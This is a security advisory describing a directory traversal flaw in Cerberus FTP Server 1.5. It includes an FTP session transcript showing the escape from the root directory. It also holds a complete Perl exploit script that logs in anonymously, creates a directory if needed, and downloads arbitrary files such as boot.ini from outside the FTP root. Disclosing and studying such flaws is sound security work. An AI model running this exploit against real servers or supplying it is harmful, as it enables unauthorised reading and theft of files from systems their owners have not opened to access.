|
Brought to you by:
Suppliers of:
|
|
|
| |
| Cerberus FTP Server is a multithreaded Windows FTP server designed to use little CPU and memory. A security vulnerability in the product allows attackers to traverse outside the bounding FTP root directory. |
| |
Credit:
The information has been provided by Christoph.Heindl.
|
| |
Vulnerable systems:
Cerberus FTP Server version 1.5
Example:
220-Welcome to Cerberus FTP Server
220 Created by Grant Averett
Benutzer (192.168.0.2:(none)): anonymous
230 User anonymous logged in
ftp> ls
200 Port command received
150 Opening data connection
delphiown
226 Transfer complete
FTP: 11 Bytes empfangen in 0,00Sekunden 11000,00KB/s
ftp> cd delphiown/../../
250 Change directory ok
ftp> ls
200 Port command received
150 Opening data connection
As you can see, you need at least one valid directory, to break out of the ftp root-dir.
Solution:
Author has been contacted on the 12th of August, no response was received.
Exploit:
#!usr/bin/perl
# this exploit will download files from
# the ftp server, even if they are outside of
# root directory.
use Net::FTP;
$loginname='anonymous';
$passwd='';
$dirname= '';
print "\n-----------------------------------\n";
print "Cerberus Ftp server 1.5\n";
print "directory traversal exploit\n";
print "by Christoph Heindl\n";
print "se00020\@fhs-hagenberg.ac.at\n";
print "-----------------------------------\n";
if (!$ARGV[0] || !$ARGV[1]){
print "usage: cftpsploit.pl <host> <dir/file>\n";
print " example: cftpsploit.pl 192.168.0.2 boot.ini\n";
print " will download boot.ini from c:\ if server is running on drive
c\n";
exit;
}
$ipaddr=$ARGV[0];
$ftp=Net::FTP->new($ipaddr, Timeout=>5);
if (!$ftp->login($loginname, $passwd)){
die "\ncould not login\n";
}
print "searching for directory...";
foreach $dir ($ftp->ls()) {
next unless ($ftp->cwd($dir));
$dirname=$dir;
$ftp->cwd('..');
}
if ($dirname eq '') {
print "failed\n";
print "trying to create pseudo dir...";
$mkd=$ftp->mkdir('pseudo');
if ($mkd) {
print "ok\n";
$dirname="pseudo";
}
else {
print "failed\n";
print "exiting...\n";
exit(0);
}
}
print "found dir\n";
print "dirname is: ".$dirname."\n";
$pathtofile=$dirname."/../../";
print "getting file...\n";
$ftp->get($pathtofile.$ARGV[1]);
$ftp->quit;
print "all done. file located in current dir";
|
|
|
|
|
